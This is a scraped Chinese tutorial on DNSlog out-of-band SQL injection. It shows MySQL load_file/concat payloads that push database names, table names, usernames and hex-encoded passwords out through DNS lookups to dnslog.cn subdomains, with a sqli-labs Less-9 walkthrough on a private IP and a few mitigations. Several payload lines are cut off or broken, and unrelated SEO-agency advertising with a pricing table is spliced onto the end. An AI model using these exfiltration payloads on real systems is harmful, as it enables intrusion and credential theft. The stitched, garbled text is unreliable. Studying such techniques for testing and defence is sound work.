96SEO 2026-02-23 13:17 2
当时我蒙了#xff0c;确实没听说过这个东西#xff0c;然后面试官告诉我原来dnslog注入…

前言什么是UNC什么是DNSlog注入DNSlog注入的条件防止DNSlog注入的几个措施
当时我蒙了确实没听说过这个东西然后面试官告诉我原来dnslog注入就是带外通信的一种。
Convention路径是用于在计算机网络中标识资源位置的标准格式。
它通常用于访问共享文件夹或打印机等网络资源。
UNC路径格式的一般结构如下
\\server\share\path\filename\\:
DNSlog注入是一种利用DNS服务器记录域名解析请求的特性来获取SQL注入结果的技术。
它的原理是通过构造一个包含数据库信息的子域名然后使用MySQL的load_file函数或其他方法让目标服务器向DNS服务器发起解析请求从而在DNS服务器上留下注入结果的痕迹。
DNSlog注入的应用场景是当网站对于SQL注入的攻击没有回显或者过滤了敏感的回显内容时可以使用DNSlog注入来绕过这些限制获取数据库的信息。
首先需要一个可以记录DNS请求的平台例如dnslog.cn和ceye.io。
在这个平台上可以获取一个专属的子域名例如xxx.dnslog.cn并且可以查看该子域名下所有的DNS请求记录。
然后需要构造一个包含数据库信息的子域名例如(select
database()).xxx.dnslog.cn。
这个子域名可以使用MySQL的函数或者操作符来拼接例如concat、replace、substr等。
接着需要使用MySQL的load_file函数或其他方法让目标服务器向DNS服务器发起解析请求。
例如使用以下语句
load_file(concat(‘\\\\’,(select
database()),‘.xxx.dnslog.cn/abc’));这个语句会让目标服务器尝试从(select
database()).xxx.dnslog.cn/abc这个地址加载文件从而触发DNS解析请求。
最后需要在DNSlog平台上查看DNS请求记录就可以获取数据库信息了。
例如在上面的例子中如果数据库名为security那么就会看到security.xxx.dnslog.cn这样的记录。
由于每一级域名的长度只能为63个字符所以在MySQL中获取到超过63个字节的字符时会被当作一个错误的域名不会产生去解析的动作。
所以需要控制查询结果的字符长度在63个以内。
由于URL中传递的字符非常有限很多特殊字符如{,},!,等是无法传递的。
这就会导致load_file函数失效。
所以需要对查询结果进行hex编码然后再使用16进制解码网站来还原结果。
目标服务器可以执行一些函数或命令如load_file、exec、curl等用于向DNS服务器发送域名查询。
攻击者拥有一个自己的域名并能够配置NS记录和获取DNS日志用于接收目标服务器发送的域名查询信息。
目标服务器返回的数据不超过域名长度限制63个字符并且不包含特殊符号否则会导致DNS查询失败。
限制目标服务器对外部网络的访问权限禁止或过滤掉不必要的DNS请求。
对目标服务器执行的函数或命令进行严格的输入验证和过滤防止攻击者注入恶意的域名或URL。
my.ini中secure_file_priv值设置为null
http://192.168.171.30/sqli/Less-9/?id-1
database()),.20vice.dnslog.cn/test)))--成功回显了数据
接下来查一下库里的表名这里用limit限制只回显一个数据多次查询
http://192.168.171.30/sqli/Less-9/?id-1
3,1),.20vice.dnslog.cn/test)))--看到了四个表
http://192.168.171.30/sqli/Less-9/?id-1
0,1),.20vice.dnslog.cn/test)))--尝试读取一下用户名数据
http://192.168.171.30/sqli/Less-9/?id-1
2,1),.nwpxcq.dnslog.cn/test)))--再读取一下密码由于密码里可能有特殊字符这里进行十六进制编码了
http://192.168.171.30/sqli/Less-9/?id-1
usernameDummy),.nwpxcq.dnslog.cn/test)))--十六进制解码成功获取数据
作为专业的SEO优化服务提供商,我们致力于通过科学、系统的搜索引擎优化策略,帮助企业在百度、Google等搜索引擎中获得更高的排名和流量。我们的服务涵盖网站结构优化、内容优化、技术SEO和链接建设等多个维度。
| 服务项目 | 基础套餐 | 标准套餐 | 高级定制 |
|---|---|---|---|
| 关键词优化数量 | 10-20个核心词 | 30-50个核心词+长尾词 | 80-150个全方位覆盖 |
| 内容优化 | 基础页面优化 | 全站内容优化+每月5篇原创 | 个性化内容策略+每月15篇原创 |
| 技术SEO | 基本技术检查 | 全面技术优化+移动适配 | 深度技术重构+性能优化 |
| 外链建设 | 每月5-10条 | 每月20-30条高质量外链 | 每月50+条多渠道外链 |
| 数据报告 | 月度基础报告 | 双周详细报告+分析 | 每周深度报告+策略调整 |
| 效果保障 | 3-6个月见效 | 2-4个月见效 | 1-3个月快速见效 |
我们的SEO优化服务遵循科学严谨的流程,确保每一步都基于数据分析和行业最佳实践:
全面检测网站技术问题、内容质量、竞争对手情况,制定个性化优化方案。
基于用户搜索意图和商业目标,制定全面的关键词矩阵和布局策略。
解决网站技术问题,优化网站结构,提升页面速度和移动端体验。
创作高质量原创内容,优化现有页面,建立内容更新机制。
获取高质量外部链接,建立品牌在线影响力,提升网站权威度。
持续监控排名、流量和转化数据,根据效果调整优化策略。
基于我们服务的客户数据统计,平均优化效果如下:
我们坚信,真正的SEO优化不仅仅是追求排名,而是通过提供优质内容、优化用户体验、建立网站权威,最终实现可持续的业务增长。我们的目标是与客户建立长期合作关系,共同成长。
Demand feedback